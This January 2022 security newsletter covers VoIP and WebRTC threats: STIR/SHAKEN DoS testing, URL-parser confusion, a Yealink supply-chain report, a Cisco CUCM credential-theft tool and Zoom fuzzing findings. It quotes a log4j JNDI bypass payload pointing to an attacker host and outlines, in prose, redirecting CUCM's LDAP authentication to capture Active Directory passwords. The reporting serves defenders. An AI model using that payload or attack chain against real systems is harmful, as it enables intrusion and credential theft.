Skip to main content

STIR/SHAKEN DoS, Cisco phone passwords, Zoom and Yealink

Published on Jan 26, 2022

Welcome to the very first RTCSec newsletter of 2022!

It has been a busy month for us so far, and we’re very grateful for that. Q1 appears to be booked and we’re looking forward to planning our Q2 as well now. Get in touch if you think we can be of help.

In this edition, we cover:

  • We’re launching a new mailing list called Offense and Defense: RTC security tips
  • SIPit 33 participation and STIR/SHAKEN tests
  • How URL parsing issues may affect SIP implementations
  • All 4 RTC advisories that came out in the past month or so
  • A US Government centric report about Yealink phones
  • New tool to exploit CUCM environments
  • Google Project Zero’s work that led to 2 Zoom security fixes (or more)

RTCSec newsletter is a free periodic newsletter bringing you commentary and news around VoIP and WebRTC security. We cover both defensive and offensive security as they relate to Real-time Communications.

What is RTC security anyway? Real-time communications security is what determines if you can communicate in real time in a safe way - whether it be with other humans or machines.

You may sign up to receive the RTCSec newsletter here. Do:

  • forward to that person who may find this newsletter particularly fruitful.
  • let me know if we should include or cover any RTC security news.

To view past issues, please visit our website at https://www.enablesecurity.com/newsletter/.

Our news

Subscribe to “Offense and defense: RTC security tips”

We are building a new mailing list called Offense and defense: RTC security tips. We plan to send out these tips every 2 weeks. Here are some examples of tips that we would like to cover:

  • RTP bleed protection for rtpengine
  • how to use SIPVicious OSS or nmap to find SIP devices
  • preventing digest leak in Kamailio / OpenSIPS
  • preparing for volumetric DDoS
  • how to manually detect if SIP extension enumeration is possible
  • fingerprinting SIP devices manually, without a user-agent or server header

If this is interesting for you, subscribe here: https://www.enablesecurity.com/subscribe/.

Be sure to share this with your colleagues and anyone who may also benefit.

Subscribe to the RTC security tips list

SIPit 33 participation and a short report on STIR/SHAKEN tests

We finished our year for 2021 by participating in SIPit 33. Similar in some ways to OpenSIPit, it consisted of various vendors and service providers gathering together to do interoperability testing. The focus was mainly on things related to STIR/SHAKEN. From our part, we were able to use SIPVicious PRO’s STIR/SHAKEN features together with our manual tests to help discover a number of vulnerabilities. Here’s a quick list of tests that we did:

  • basic interoperability testing to make sure our own Identity header implementation works fine
  • referencing of large certificates (filling cache or memory or abusing locks)
  • redirecting the certificate reference to a local file (e.g. file:///dev/random)
  • SIP flooding with Identity headers
  • Fuzzing with malformed Identity headers, JWT etc

And just in case anyone is wondering, yes we did come across denial of service issues in various products that we tested.

We would like to thank everyone who actually participated with us and submitted their implementations to our torture :-)

URL parsing confusion and how it relates to SIP

A new paper was published by Claroty Team82 and Snyk called EXPLOITING URL PARSERS: THE GOOD, BAD, AND INCONSISTENT. It can be found here: https://claroty.com/wp-content/uploads/2022/01/Exploiting-URL-Parsing-Confusion.pdf.

My notes on this paper:

  • A fix for the log4j vulnerability relied on only allowing JNDI lookups from a predefined list of hosts (by default containing 127.0.0.1).
  • This could be bypassed by using a JNDI URL that did indeed match 127.0.0.1 when doing the security check but, when interpreted by the JNDI lookup code, actually pointed to an attacker controlled host. The bypass looked like this: ${jndi:ldap://127.0.0.1#.evilhost.com:1389/a}.
  • These discrepancies and nuances across different URL parsers are the subject of this paper.
  • The researchers for this paper found eight vulnerabilities that result on such code patterns.
  • How does this relate to RTC? Well, in RTC, we use a URLs a lot.
  • In SIP, one of the most important component in each message is the Request URI.
  • Where could URL parsing confusion be a problem?
    • In some billing systems when billing for phone calls.
    • Blocking of calls to certain destinations.
    • Similarly, multi-tenant PBX systems that try to disallow one company from calling another’s employees.
    • Do you have more ideas? Reply to this newsletter :-)
  • One of the vulnerabilities found by the paper’s researchers did in fact involve a SIP library - Belledonne’s linphone SIP stack. What they found, in this case, resulted in a null pointer dereference and crash.
  • This sort of thing, regardless of URL parser confusion, should have been found using fuzzers. So I quickly ran SIPVicious PRO’s fuzzer against linphone on Linux, and lo and behold, it did crash almost immediately. I tested an old version first and then the latest version from their site. Need to further investigate to see if this is something new and needs to be reported.
  • In the conclusion, the authors recommend developers to understand which parsers their applications are using and the differences between each. Input validation and canonization are recommended. One strong recommendation is to limit the use of different URL parsers - which I think indeed makes sense especially when there is a security function to parsing URLs.

Awesome RTC hacking list

We maintain an “awesome” list on Github called “Awesome Real-time Communications hacking & pentesting resources”. It includes links to your favourite topic (RTC security of course) especially for video presentations, advisories, open source tools and so on. Check it out, maybe you discover something new!

To be found on Github: https://github.com/EnableSecurity/awesome-rtc-hacking

Short news, advisories and commentary

I’d never heard of Chain Security before but our friend Fred Posner and others linked to an article that mentioned a supply chain analysis of Yealink phones. I found the actual letter and report sent to the US senate somewhat interesting, perhaps because it is the first time I’m seeing such a report about hardware phones.

In terms of findings, the following stood out to me:

  • No protection against MITM when uploading firmware and firmware is not signed but is encrypted using weak cryptographic primitives.
  • The communication between the phone and Yealink RPS (redirect to provisioning server) is naturally worrying but more information should have been provided in the report about the nature of the traffic.
  • Weak default configuration, such as default passwords, lack of HTTPS and lack of modern security mechanisms.

The Yealink RPS connection is used to update the Yealink Management Portal. I think I would have similar concerns about any hardware that can be controlled through a portal hosted by the vendor, situated anywhere. I think the following quote from the document sums up this concern:

The overall management portal application is similar to that found in US-based cellular IoT management portals (e.g., Jasper Technologies, purchased by Cisco, which provides management portal applications to Tier 1 MNOs worldwide).

However, the difference is the level of trust. While we cannot know for sure, we conclude that it is highly likely that Yealink is sharing information about its customers with the government of the PRC (indeed, under Chinese law, it would have an obligation to do so).

Given the target audience, there is a lot of emphasis on Yealink being a Chinese company and their ties with the Chinese political establishment. It also goes into the supply chain of the phone itself, where each hardware component is sourced and that sort of thing. And finally, legal documents such as the privacy policy that appears to be anything but. All in all, I think people in our industry are well aware of these things or at least “have a feeling” already.

Report can be read here: https://admin.govexec.com/media/letter_to_commerce_re_yealink_report_(4).pdf

Further references:

New Cisco phone system exploit tool: SeeYouCM Thief

Justin Bollinger from TrustedSec has released a tool called SeeYouCM Thief and a blog post about exploiting Cisco phones and CUCM (Cisco Unified Communications Manager). It reminds me of work I did in the past and the VoIP hacking workshops Joffrey Czarny and myself held at various conferences across the world. The blog post includes:

  • how to identify voice VLANs by monitoring CDP and how to join that VLAN
  • using the phone’s web interface to learn how to get the configuration from the provisioning server
  • getting the provisioning files which contain he SSH credentials (username/password) for the phone, among other things
  • using those credentials to login to the CUCM’s webinterface
  • Changing the LDAP authentication settings to point to the attacker’s IP
  • Using Responder (attack tool) to capture the password for the Active Directory service account

The new tool, SeeYouCM-Thief performs some of these steps once you have network access to a Cisco phone that’s misconfigured. And if you’re running a CUCM system, the blog post explains that this attack could be prevented by configuring the phone configurations to be encrypted.

This might be related to CVE-2022-20660.

References:

Google Project Zero on Zoom vulnerabilities

Natalie Silvanovich from Google’s Project Zero published her work that led to the following Zoom vulnerabilities:

Here are my take-aways from the post:

  • Fuzzing was done on the XMPP library, gloox used by the Zoom client. No issues were found.
  • The author made quite an effort analyzing code paths where the Zoom code extended the XMPP message handler but didn’t find any issues there.
  • At Pwn2Own, the researchers Thijs Alkemade and Daan Keuper had found a bug in this area. Post was from August 2021 and can be read here: https://sector7.computest.nl/post/2021-08-zoom/.
  • Therefore no actual issues were found in the signalling code.
  • Zoom implements its own RTP processing for video (while it uses the WebRTC library for audio) and uses a custom codec named Zeolot (libzlt).
  • This was fuzzed using afl-qemu leading to several crashes related to RTP extension processing.
  • Trying to reproduce these issues by actually sending the malformed RTP didn’t lead to anything, probably because the Zoom server was filtering it.
  • The Zoom On-Premises Deployment component, MMR (Multimedia Router) was then fuzzed, but this did not lead to any findings.
  • afl-qemu couldn’t be used in this case, instead a stub needed to be written and she also used DrSanCov.
  • Looking at a library called libssb_sdk.so which had problematic code patterns where memory length is set based on user (attacker) input data. Abusing this led to a crash and CVE-2021-34423.
  • Similar analysis of the MMR server’s ssb::conf_send_msg_req::load_from code led to discovering that sending a user_name without a null terminator, led to memory disclosure which affected both the on-premises MMR and also Zoom’s public servers.
  • Exploitation was hard as recreating the Zoom client logic is far from straightforward.
  • Hooking the Linux Zoom client with Frida was a more fruitful technique.
  • The MMR process did not have ASLR enabled in the version on test (now it does).
  • Even if the author made quite an effort at finding an exploit path, no reliable exploitation was achieved. Further exploit tool development might have led to actual exploitation of these vulnerabilities.
  • Compromising Zoom’s MMR server is a major problem since audio and video content is terminated on these servers thus allowing successful attackers to listen in and record video calls.

Reference: https://googleprojectzero.blogspot.com//2022/01/zooming-in-on-zero-click-exploits.html

This newsletter was prepared by Sandro Gauci and the Enable Security team for the RTCSec newsletter subscribers. If you have someone in mind who would benefit from our content, please do share.

To subscribe: here